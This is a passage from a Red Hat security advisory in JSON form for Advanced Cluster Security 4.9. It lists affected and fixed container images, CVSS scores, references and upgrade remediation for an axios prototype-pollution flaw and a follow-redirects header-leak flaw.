"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-40175"
},
{
"category": "external",
"summary": "RHBZ#2457432",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2457432"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-40175",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40175"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1",
"url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/pull/10660",
"url": "https://github.com/axios/axios/pull/10660"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/releases/tag/v1.15.0",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx",
"url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
}
],
"release_date": "2026-04-10T19:23:52.285000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.0,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Remote Code Execution via Prototype Pollution escalation"
},
{
"cve": "CVE-2026-40895",
"cwe": {
"id": "CWE-212",
"name": "Improper Removal of Sensitive Information Before Storage or Transfer"
},
"discovery_date": "2026-04-21T21:02:33.280553+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2460297"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
